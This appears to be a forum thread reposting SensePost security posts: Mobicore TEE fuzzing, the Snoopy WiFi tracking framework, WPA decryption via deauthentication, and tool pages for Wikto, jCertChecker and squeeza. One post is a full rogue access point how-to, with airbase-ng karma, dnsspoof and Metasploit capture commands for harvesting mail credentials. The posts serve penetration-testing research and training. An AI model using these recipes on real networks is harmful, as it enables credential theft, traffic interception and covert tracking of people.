/data/local/tmp/log and replace this instrumented library with the original file (DO NOT FORGET TO BACKUP THE ORIGINAL FILE). If you reboot the phone, the Mobicore session between Android's DRM server and PlayReady trustlet will be logged into /data/local/tmp/log. A sample of such session log is shown below: The content and address of the shared world memory and two additional mapped buffers are recorded in the above file. The command/response format in wsm buffer is very similar to APDU communication in smart card applications and this is not a surprise, as G&D has a long history in smart card technology. The next step is to interpret the command/response data, so that we can manipulate them later and observe the trustlet behavior. The trustlet's output in text format together with inspecting the assembly code of libDxDrmServer.so helped me to figure out the PlayReady trustlet command and response format as follows: client command (wsm) : 08022000b420030000000001000000002500000028023000300000000500000000000000000000000000b0720000000000000000 client parameters (mapped buffer 1): 8f248d7e3f97ee551b9d3b0504ae535e45e99593efecd6175e15f7bdfd3f5012e603d6459066cc5c602cf3c9bf0f705b trustlet response (wsm):08022000b420030000000081000000002500000028023000300000000500000000000000000000000000b0720000000000000000 trustltlet text output (mapped buffer 2): ================================================== SRVXInvokeCommand command 1000000 hSession=320b4 SRVXInvokeCommand. command = 0x1000000 nParamTypes=0x25 SERVICE_DRM_BBX_SetKeyToOemContext - pPrdyServiceGlobalContext is 32074 SERVICE_DRM_BBX_SetKeyToOemContext cbKey=48 SERVICE_DRM_BBX_SetKeyToOemContext type=5 SERVICE_DRM_BBX_SetKeyToOemContext iExpectedSize match real size=48 SERVICE_DRM_BBX_SetKeyToOemContext preparing local buffer DxDecryptAsset start - iDatatLen=32, pszInData=0x4ddf4 pszIntegrity=0x4dde4 DxDecryptAsset calling Oem_Aes_SetKey DxDecryptAsset calling DRM_Aes_CtrProcessData DxDecryptAsset calling DRM_HMAC_CreateMAC iDatatLen=32 DxDecryptAsset after calling DRM_HMAC_CreateMAC DxDecryptAsset END SERVICE_DRM_BBX_SetKeyToOemContext calling DRM_BBX_SetKeyToOemContext SRVXInvokeCommand.id=0x1000000 res=0x0 ============================================== By mapping the information disclosed in the trustlet text output to the client command the following format was derived: 08022000 : virtual memory address of the text output buffer in the secure world (little endian format of 0x200208) b4200300 : PlayReady session ID 00000001: Command ID (0x1000000) 00000000: Error code (0x0 = no error, is set by truslet after mcWaitNotification) 25000000: Parameter type (0x25) 28023000: virtual memory address of the parameters buffer in the secure world (little endian format of 0x300228) 30000000: Parameters length in bytes (0x30, encrypted key length) 05000000: encryption key type (0x5) The trustlet receives client supplied memory addresses as input data which could be manipulated by an attacker. We'll test this attack later. The captured PlayReady session involved 18 command/response pairs that correspond to the following high level diagram of PlayReady DRM algorithm published by G&D. I couldn't find more detailed specification of the PlayReady DRM on the MSDN or other web sites. But at this stage, I was not interested in the implementation details of the PlayReady schema, as I didn't want to attack the DRM itself, but wanted to find any exploitable issue such as a buffer overflow or memory disclosure in the trustlet. DRM Trustlet diagram (courtesy of G&D) Security Tests: I started by auditing the Mobicore daemon and kernel driver source code in order to find issues that can be exploited by an android application to attack other applications or result in code execution in the Android kernel space. I find one issue in the Mobicore kernel API which is designed to provide Mobicore services to other Android kernel components such as an IPSEC driver. The Mobicore driver registers Linux netLink server with id=17 which was intended to be called from the kernel space, however a Linux user space process can create a spoofed message using NETLINK sockets and send it to the Mobicore kernel driver netlink listener which as shown in the following figure did not check the PID of the calling process and as a result, any Android app could call Mobicore APIs with spoofed session IDs. The vulnerable code snippet from MobiCoreKernelApi/main.c is included below. An attacker would need to know the "sequence number" of an already established netlink connection between a kernel component such as IPSEC and Mobicore driver in order to exploit this vulnerability. This sequence numbers were incremental starting from zero but currently there is no kernel component on the Samsung phone that uses the Mobicore API, thus this issue was not a high risk. We notified the vendor about this issue 6 months ago but haven't received any response regarding the planned fix. The following figures demonstrate exploitation of this issue from an Android unprivileged process : Netlink message (seq=1) sent to Mobicore kernel driver from a low privileged process Unauthorised netlink message being processed by the Mobicore kernel driver In the next phase of my tests, I focused on fuzzing the PlayReady DRM trustlet that mentioned in the previous section by writing simple C programs which were linked with libMcClient.so and manipulating the DWORD values such as shared buffer virtual address. The following table summarises the results: [TABLE] [TR] [TD]wsm offset[/TD] [TD]Description[/TD] [TD]Results[/TD] [/TR] [TR] [TD]0[/TD] [TD]Memory address of the mapped output buffer in trustlet process (original value=0x08022000)[/TD] [TD]for values<0x8022000 the fuzzer crashed values >0x8022000 no errors[/TD] [/TR] [TR] [TD]41[/TD] [TD]memory address of the parameter mapped buffer in trusltet process (original value=0x28023000)[/TD] [TD]0x00001000<value<0x28023000 the fuzzer crashed value>=00001000 trustlet exits with "parameter refers to secure memory area" value>0x28023000 no errors[/TD] [/TR] [TR] [TD]49[/TD] [TD]Parameter length (encryption key or certificate file length)[/TD] [TD]For large numbers the trustlet exits with "malloc() failed" message[/TD] [/TR] [/TABLE] The fuzzer crash indicated that Mobicore micro-kernel writes memory addresses in the normal world beyond the shared memory buffer which was not a critical security issue, because it means that fuzzer can only attack itself and not other processes. The "parameter refers to secure memory area" message suggests that there is some sort of input validation implemented in the Mobicore OS or DRM trustlet that prevents normal world's access to mapped addresses other than shared buffers. I haven't yet run fuzzing on the parameter values itself such as manipulating PlayReady XML data elements sent from the client to the trustlet. However, there might be vulnerabilities in the PlayReady implementation that can be picked up by smarter fuzzing. Conclusion: We demonstrated that intercepting and manipulating the worlds share memory (WSM) data can be used to gain better knowledge about the internal workings of Mobicore trustlets. We believe that this method can be combined with the side channel measurements to perform blackbox security assessment of the mobile TEE applications. The context switching and memory sharing between normal and secure world could be subjected to side channel attacks in specific cases and we are focusing our future research on this area. - See more at: SensePost Blog
  14. At this year's 44Con conference (held in London) Daniel and I introduced a project we had been working on for the past few months. Snoopy, a distributed tracking and profiling framework, allowed us to perform some pretty interesting tracking and profiling of mobile users through the use of WiFi. The talk was well received (going on what people said afterwards) by those attending the conference and it was great to see so many others as excited about this as we have been. In addition to the research, we both took a different approach to the presentation itself. A 'no bullet points' approach was decided upon, so the slides themselves won't be that revealing. Using Steve Jobs as our inspiration, we wanted to bring back the fun to technical conferences, and our presentation hopefully represented that. As I type this, I have been reliably informed that the DVD, and subsequent videos of the talk, is being mastered and will be ready shortly. Once we have it, we will update this blog post. In the meantime, below is a description of the project. Background There have been recent initiatives from numerous governments to legalise the monitoring of citizens' Internet based communications (web sites visited, emails, social media) under the guise of anti-terrorism. Several private organisations have developed technologies claiming to facilitate the analysis of collected data with the goal of identifying undesirable activities. Whether such technologies are used to identify such activities, or rather to profile all citizens, is open to debate. Budgets, technical resources, and PhD level staff are plentiful in this sphere. Snoopy The above inspired the goal of the Snoopy project: with the limited time and resources of a few technical minds could we create our own distributed tracking and data interception framework with functionality for simple analysis of collected data? Rather than terrorist-hunting, we would perform simple tracking and real-time + historical profiling of devices and the people who own them. It is perhaps worth mentioning at this point that Snoopy is compromised of various existing technologies combined into one distributed framework. "Snoopy is a distributed tracking and profiling framework." Below is a diagram of the Snoopy architecture, which I'll elaborate on: 1. Distributed? Snoopy runs client side code on any Linux device that has support for wireless monitor mode / packet injection. We call these "drones" due to their optimal nature of being small, inconspicuous, and disposable. Examples of drones we used include the Nokia N900, Alfa R36 router, Sheeva plug, and the RaspberryPi. Numerous drones can be deployed over an area (say 50 all over London) and each device will upload its data to a central server. 2. WiFi? A large number of people leave their WiFi on. Even security savvy folk; for example at BlackHat I observed >5,000 devices with their WiFi on. As per the RFC documentation (i.e. not down to individual vendors) client devices send out 'probe requests' looking for networks that the devices have previously connected to (and the user chose to save). The reason for this appears to be two fold; (i) to find hidden APs (not broadcasting beacons) and (ii) to aid quick transition when moving between APs with the same name (e.g. if you have 50 APs in your organisation with the same name). Fire up a terminal and bang out this command to see these probe requests: tshark -n -i mon0 subtype probereq (where mon0 is your wireless device, in monitor mode) 2. Tracking? Each Snoopy drone collects every observed probe-request, and uploads it to a central server (timestamp, client MAC, SSID, GPS coordinates, and signal strength). On the server side client observations are grouped into 'proximity sessions' - i.e device 00:11:22:33:44:55 was sending probes from 11:15 until 11:45, and therefore we can infer was within proximity to that particular drone during that time. We now know that this device (and therefore its human) were at a certain location at a certain time. Given enough monitoring stations running over enough time, we can track devices/humans based on this information. 3. Passive Profiling? We can profile device owners via the network SSIDs in the captured probe requests. This can be done in two ways; simple analysis, and geo-locating. Simple analysis could be along the lines of "Hmm, you've previously connected to hooters, mcdonalds_wifi, and elCheapoAirlines_wifi - you must be an average Joe" vs "Hmm, you've previously connected to "BA_firstclass, ExpensiveResataurant_wifi, etc - you must be a high roller". Of more interest, we can potentially geo-locate network SSIDs to GPS coordinates via services like Wigle (whose database is populated via wardriving), and then from GPS coordinates to street address and street view photographs via Google. What's interesting here is that as security folk we've been telling users for years that picking unique SSIDs when using WPA[2] is a "good thing" because the SSID is used as a salt. A side-effect of this is that geo-locating your unique networks becomes much easier. Also, we can typically instantly tell where you work and where you live based on the network name (e.g BTBusinessHub-AB12 vs BTHomeHub-FG12). The result - you walk past a drone, and I get a street view photograph of where you live, work and play. 4. Rogue Access Points, Data Interception, MITM attacks? Snoopy drones have the ability to bring up rogue access points. That is to say, if your device is probing for "Starbucks", we'll pretend to be Starbucks, and your device will connect. This is not new, and dates back to Karma in 2005. The attack may have been ahead of its time, due to the far fewer number of wireless devices. Given that every man and his dog now has a WiFi enabled smartphone the attack is much more relevant. Snoopy differentiates itself with its rogue access points in the way data is routed. Your typical Pineapple, Silica, or various other products store all intercepted data locally, and mangles data locally too. Snoopy drones route all traffic via an OpenVPN connection to a central server. This has several implications: (i) We can observe traffic from *all* drones in the field at one point on the server. (ii) Any traffic manipulation needs only be done on the server, and not once per drone. (iii) Since each Drone hands out its own DHCP range, when observing network traffic on the server we see the source IP address of the connected clients (resulting in a unique mapping of MAC <-> IP <-> network traffic). (iv) Due to the nature of the connection, the server can directly access the client devices. We could therefore run nmap, Metasploit, etc directly from the server, targeting the client devices. This is a much more desirable approach as compared to running such 'heavy' software on the Drone (like the Pineapple, pr Pwnphone/plug would). (v) Due to the Drone not storing data or malicious tools locally, there is little harm if the device is stolen, or captured by an adversary. On the Snoopy server, the following is deployed with respect to web traffic: (i) Transparent Squid server - logs IP, websites, domains, and cookies to a database (ii) sslstrip - transparently hijacks HTTP traffic and prevent HTTPS upgrade by watching for HTTPS links and redirecting. It then maps those links into either look-alike HTTP links or homograph-similar HTTPS links. All credentials are logged to the database (thanks Ian & Junaid). (iii) mitmproxy.py - allows for arbitary code injection, as well as the use of self-signed SSL certificates. By default we inject some JavaScipt which profiles the browser to discern the browser version, what plugins are installed, etc (thanks Willem). Additionally, a traffic analysis component extracts and reassembles files. e.g. PDFs, VOiP calls, etc. (thanks Ian). 5. Higher Level Profiling? Given that we can intercept network traffic (and have clients' cookies/credentials/browsing habbits/etc) we can extract useful information via social media APIs. For example, we could retrieve all Facebook friends, or Twitter followers. 6. Data Visualization and Exploration? Snoopy has two interfaces on the server; a web interface (thanks Walter), and Maltego transforms. -The Web Interface The web interface allows basic data exploration, as well as mapping. The mapping part is the most interesting - it displays the position of Snoopy Drones (and client devices within proximity) over time. This is depicted below: -Maltego Maltego Radium has recently been released; and it is one awesome piece of kit for data exploration and visualisation.What's great about the Radium release is that you can combine multiple transforms together into 'machines'. A few example transformations were created, to demonstrate: 1. Devices Observed at both 44Con and BlackHat Vegas Here we depict devices that were observed at both 44Con and BlackHat Las Vegas, as well as the SSIDs they probed for. 2. Devices at 44Con, pruned Here we look at all devices and the SSIDs they probed for at 44Con. The pruning consisted of removing all SSIDs that only one client was looking for, or those for which more than 20 were probing for. This could reveal 'relationship' SSIDs. For example, if several people from the same company were attending- they could all be looking for their work SSID. In this case, we noticed the '44Con crew' network being quite popular. To further illustrate Snoopy we 'targeted' these poor chaps- figuring out where they live, as well as their Facebook friends (pulled from intercepted network traffic*). Snoopy Field Experiment We collected broadcast probe requests to create two main datasets. I collected data at BlackHat Vegas, and four of us sat in various London underground stations with Snoopy drones running for 2 hours. Furthermore, I sat at King's Cross station for 13 hours (!?) collecting data. Of course it may have made more sense to just deploy an unattended Sheeva plug, or hide a device with a large battery pack - but that could've resulted in trouble with the law (if spotted on CCTV). I present several graphs depicting the outcome from these trials: The pi chart below depicts the proportion of observed devices per vendor, from the total sample of 77,498 devices. It is interesting to see Apple's dominance. pi_chart The barchart below depicts the average number of broadcast SSIDs from a random sample of 100 devices per vendor (standard deviation bards need to be added - it was quite a spread). The barchart below depicts my day sitting at King's Cross station. The horizontal axis depicts chunks of time per hour, and the vertical access number of unique device observations. We clearly see the rush hours. Potential Use What could be done with Snoopy? There are likely legal, borderline, and illegal activities. Such is the case with any technology. Legal -Collecting anonymized statistics on thoroughfare. For example, Transport for London could deploy these devices at every London underground to get statistics on peak human traffic. This would allow them to deploy more staff, or open more pathways, etc. Such data over the period of months and years would likely be of use for future planning. -Penetration testers targeting clients to demonstrate the WiFi threat. Borderline -This type of technology could likely appeal to advertisers. For example, a reseller of a certain brand of jeans may note that persons who prefer certain technologies (e.g. Apple) frequent certain locations. -Companies could deploy Drones in one of each of their establishments (supermarkets, nightclubs, etc) to monitor user preference. E.g. a observing a migration of customers from one establishment to another after the deployment of certain incentives (e.g. promotions, new layout). -Imagine the Government deploying hundreds of Drones all over a city, and then having field agents with mobile Drones in their pockets. This could be a novel way to track down or follow criminals. The other side of the coin of course being that they track all of us... Illegal -Let's pretend we want to target David Beckham. We could attend several public events at which David is attending (Drone in pocket), ensuring we are within reasonable proximity to him. We would then look for overlap of commonly observed devices over time at all of these functions. Once we get down to one device observed via this intersection, we could assume the device belongs to David. Perhaps at this point we could bring up a rogue access point that only targets his device, and proceed maliciously from there. Or just satisfy ourselves by geolocating places he frequents. -Botnet infections, malware distribution. That doesn't sound very nice. Snoopy drones could be used to infect users' devices, either by injection malicious web traffic, or firing exploits from the Snoopy server at devices. -Unsolicited advertising. Imagine browsing the web, and an unscrupulous 3rd party injects viagra adverts at the top of every visited page? Similar tools Immunity's Stalker and Silica Hubert's iSniff GPS Snoopy in the Press Risky Biz Podcast Naked Scientist Podcast(transcript) The Register Fierce Broadband Wireless ***FAQ*** Q. But I use WPA2 at home, you can't hack me! A. True - if I pretend to be a WPA[2] network association it will fail. However, I bet your device is probing for at least one open network, and when I pretend to be that one I'll get you. Q. I use Apple/Android/Foobar - I'm safe! A. This attack is not dependent on device/manufacture. It's a function of the WiFi specification. The vast majority of observed devices were in fact Apple (>75%). Q. How can I protect myself? A. Turn off your WiFi when you l leave home/work. Be cautions about using it in public places too - especially on open networks (like Starbucks). A. On Android and on your desktop/laptop you can selectively remove SSIDs from your saved list. As for iPhones there doesn't seem to be option - please correct me if I'm wrong? A. It'd be great to write an application for iPhone/Android that turns off probe-requests, and will only send them if a beacon from a known network name is received. Q. Your research is dated and has been done before! A. Some of the individual components, perhaps. Having them strung together in our distributed configuration is new (AFAIK). Also, some original ideas where unfortunately published first; as often happens with these things. Q. But I turn off WiFi, you'll never get me! A. It was interesting to note how many people actually leave WiFi on. e.g. 30,000 people at a single London station during one day. WiFi is only one avenue of attack, look out for the next release using Bluetooth, GSM, NFC, etc Q. You're doing illegal things and you're going to jail! A. As mentioned earlier, the broadcast nature of probe-requests means no laws (in the UK) are being broken. Furthermore, I spoke to a BT Engineer at 44Con, and he told me that there's no copyright on SSID names - i.e. there's nothing illegal about pretending to be "BTOpenzone" or "SkyHome-AFA1". However, I suspect at the point where you start monitoring/modifying network traffic you may get in trouble. Interesting to note that in the USA a judge ruled that data interception on an open network is not illegal. Q. But I run iOS 5/6 and they say this is fixed!! A. Mark Wuergler of Immunity, Inc did find a flaw whereby iOS devices leaked info about the last 3 networks they had connected to. The BSSID was included in ARP requests, which meant anyone sniffing the traffic originating from that device would be privy to the addresses. Snoopy only looks at broadcast SSIDs at this stage - and so this fix is unrelated. We haven't done any tests with the latest iOS, but will update the blog when we have done so. Q. I want Snoopy! A. I'm working on it. Currently tidying up code, writing documentation, etc. Soon - See more at: SensePost Blog
  15. Rogue Access Points, a how-to Tags: blackhat, howto, public, wifi — dominic @ 13:11 In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use. I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy. This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course. Preparation First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service. Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali). For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple. Finally, you'll need to install some packages, I'll discuss those as we set each thing up. Overview We're going to string a couple of things together here: Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail) There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple. Access Point Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough. For this section, we'll use a few tools: airbase-ng (via the aircrack-ng suite) macchanger iw You can install these with: apt-get install aircrack-ng macchanger iw First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run: ifconfig wlan0 down macchanger -r wlan0 #randomise our MAC iw reg set BO #change our regulatory domain to something more permissive ifconfig wlan0 up iwconfig wlan0 txpower 30 #1Watt transmit power Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof. airmon-ng start wlan0 #Put our card into monitor mode airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode #airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma) Airbase has a couple of different ways to work. I'll explain the parameters: -c channel, check which channel is the least occupied with airodump -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP. -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much -v be verbose -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets. If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running. Routing & IP Time There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here. The basics: ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo '1' > /proc/sys/net/ipv4/ip_forward This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates: apt-get install bridge-utils #To get the brctl tool, only run this once brctl addbr br0 brctl addif br0 eth0 #Assuming eth0 is your upstream interface brctl addif br0 at0 ifconfig br0 up If you wanted to NAT, you could use: iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY iptables --policy FORWARD ACCEPT iptables -t nat -F iptables -F #The actual NAT stuff iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i at0 -o eth0 -j ACCEPT Legitimate Services We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid. apt-get install isc-dhcp-server #Only run this once cat >> dhcpd.conf #We need to write the dhcp config file authoritative; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; }^D #If you chose this method of writing the file, hit Ctrl-D dhcpd -cf dhcpd.conf Evil Services We're going to cover three evil services here: DNS spoofing Captive portal detection avoidance Mail credential interception services DNS spoofing Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us. apt-get install dsniff #Only run the first time cat >> dns.txt 10.0.0.1 * ^D #As in hit Ctrl-C dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script Captive Portal Detection Avoidance Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here. apt-get install apache2 wget http://www.sensepost.com/blogstatic/2013/07/apache-spoof_captive_portal.tar.gz cd / tar zcvf ~/apache-spoof_captive_portal.tar.gz service apache start This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for accounts.google.com, www.facebook.com, twitter.com etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for Apple will hit our apache. Mail credential interception Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit). All we need to do, is create a resource script, then edit it with msfconsole: cat >> karma-mail.rc use auxiliary/server/capture/imap exploit -j use auxiliary/server/capture/pop3 exploit -j use auxiliary/server/capture/smtp exploit -j use auxiliary/server/capture/imap set SRVPORT 993 set SSL true exploit -j use auxiliary/server/capture/pop3 set SRVPORT 995 set SSL true exploit -j use auxiliary/server/capture/smtp set SRVPORT 465 set SSL true exploit -j ^D #In case you're just joining us, yes that's a Ctrl-D msfconsole -r mail-karma.rc #Fire it up This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely. Protections When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following: Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later. Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network". Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button. Conclusion By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation. This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff. If you'd like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space. If you'd like to read more, taddong's RootedCon talk from this year is a good place to start. - See more at: SensePost Blog Sursa: SensePost Blog
  16. Wifi Hacking & WPA/2 PSK traffic decryption - dominic @ 11:31 When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I'm going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I'll be teaching at BlackHat Las Vegas soon. When hackers find a WPA/2 network using a pre-shared key, the first thing they try and do most times, is to capture enough of the 4-way handshake to attempt to brute force the pairwise master key (PMK, or just the pre-shared key PSK). But, this often takes a very long time. If you employ other routes to find the key (say a client-side compromise) that can still take some time. Once you have the key, you can of course associate to the network and perform your layer 2 hackery. However, if you had been capturing traffic from the beginning, you would now be in a position to decrypt that traffic for analysis, rather than having to waste time by only starting your capture now. You can use the airdecap-ng tool from the aircrack-ng suite to do this: airdecap-ng -b <BSSID of target network> -e <ESSID of target network> -p <WPA passphrase> <input pcap file> However, because the WPA 4-way handshake generates a unique temporary key (pairwise temporal key PTK) every time a station associates, you need to have captured the two bits of random data shared between the station and the AP (the authenticator nonce and supplicant nonce) for that handshake to be able to initialise your crypto with the same data. What this means, is that if you didn't capture a handshake for the start of a WPA/2 session, then you won't be able to decrypt the traffic, even if you have the key. So, the trick is to de-auth all users from the AP and start capturing right at the beginning. This can be done quite simply using aireplay-ng: aireplay-ng --deauth=5 -e <ESSID> Although, broadcast de-auth's aren't always as successful as a targeted one, where you spoof a directed deauth packet claiming to come from the AP and targeting a specific station. I often use airodump-ng to dump a list of associated stations to a csv file (with --output-format csv), then use some grep/cut-fu to excise their MAC addresses. I then pass that to aireplay-ng with: cat <list of associated station MACs>.txt | xargs -n1 -I% aireplay-ng --deauth=5 -e <ESSID> -c % mon0 This tends to work a bit better, as I've seen some devices which appear to ignore a broadcast de-auth. This will make sure you capture the handshake so airdecap can decrypt the traffic you capture. Any further legitimate disconnects and re-auths will be captured by you, so you shouldn't need to run the de-auth again. In summary: Don't forget how useful examining traffic can be, and don't discount that as an option just because it's WPA/2 Start capturing as soon as you get near the network, to maximise how much traffic you'll have to examine De-auth all connected clients to make sure you capture their handshakes for decryption Once again, I'll be teaching a course covering this and other techniques at BlackHat Las Vegas, please check it out or recommend it to others if you think it's worthwhile. We're also running a curriculum of other courses at BH, including a brand new mobile hacking course. - See more at: SensePost Blog Sursa: SensePost Blog
  17. Nytro

    Wikto

    Wikto Cost: Free Source Code: GitHub Version: 2.1.0.0 (XMAS edition) Requirements: .Net Framework License: GPL Release Date: 2008-12-14 Recent Changes: Fixed incorrect links spider bug Added time anomaly functionality in back-end scanner. Added easy access (and icons) to findings in back-end scanner. Fixed executable finding occasionally not showing bug. Wikto is Nikto for Windows - but with a couple of fancy extra features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring. Downloads using_wikto.pdf Wikto-2.1.0.0-SRC.zip wikto_v2.1.0.0.zip Sursa: Sensepost Research Labs
      • 1
      • Upvote
  18. [h=1]jCertChecker[/h] Author: Willem Mouton Cost: Free Source Code: GitHub Version : 1.0 Requirements: Java runtime environment License : GPL Release Date : 2010-06-01 jCertChecker is a Java based SSL certificate viewer that can be used to scan single or multiple sites and interrogate detail about the certificates in use. The tool can quickly tell you if the ciphers in use are strong and whether the cert name and domain name correspond. [h=2]Downloads[/h] jCertChecker.zip Sursa: Sensepost Research Labs
  19. 1. Name Squeeza - SQL Injection without the pain of syringes 2. Authors Marco Slaviero < marco(at)sensepost(dot)com > Haroon Meer 3. License, version & release date License : GPLv2 Version : v0.22 Release Date : 2008/08/24 4. Description squeeza is a tool helps exploits SQL injection vulnerabilities in broken web applications. Its functionality is split into creating data on the database (by executing commands, copying in files, issuing new SQL queries) and extracting that data through various channels (dns, timing, http error messages) Currently, it supports the following databases: Microsoft SQL Server MySQL (only when multi-queries are enable, which is not too common) squeeza is not a tool for finding injection points. That recipe generally starts with 1 x analyst. #5. Usage ##5.1 Installation Installation is easy. Untar the archive into an appropriate spot. > $tar xvzf squeeza-0.21.tar.gz Thereafter, edit the configuration file. By default, this is called 'squeeza.config' and resides in the same directory as the rest of the scripts. Off the bat, you'll want to edit at least the following configuration items: host url querystring method sql_prefix sql_postfix dns_domain The default mode is command mode, and the default channel is dns. ##5.2 Data Flow Model As already mentioned, squeeza splits the creation of data at the server away from the extraction of that data off the server (within certain constraints). Data is created by a /mode/, and extracted via a /channel/. By doing so, it is possible to mix 'n match modes with channels, which we think is pretty nifty/flexible. Currently supported modes: command mode : supports commands execution on the database server copy mode : supports copying of files from the database server to the local machine sql mode : supports the execution of arbitrary sql queries Currently supported channels: dns channel : extracts data via dns timing channel : extracts data by timing bits in the output http error message : extracts data through http error messages, similarly to Sec-1's automagic sql injector Although we've striven for complete separation of modes and channels, we haven't completely succeeded as of yet (our SQL-fu is not strong). The following matrix shows the level of support for each mode and channel combination. Channel .-------------------------------------. | DNS | Timing | HTTP Errors | .----------+-----------+-----------+-------------| M | Command || Supported | Supported | Supported | o | Copy || Supported | Supported | Supported | d | SQL || Supported | Supported | Unsupported | e | || | | | `------------------------------------------------` Obviously, you'll also be limited by the capabilities of the database connection. If xp_cmdshell is removed or otherwise unavailable, squeeza isn't going to magically make it reappear. 5.3 Command Set The following commands are hooked into the basic squeeza shell. (Each module will probably further expose its own commands.) squeeza commands are always prefixed by a '!'. !help - print help for the shell and any loaded modules !quit - take a guess... !set - use this to set or view shell variables The mssql module has the following commands: !channel - use to view or set the current channel !cmd - switch to command mode !copy - switch to copy mode !sql - switch to sql mode 5.4 Example Usage Starting squeeza: $./squeeza.rb Squeeza tha cheeza v0.21 © {marco|haroon}@sensepost.com 2007 sp-sq> This presents 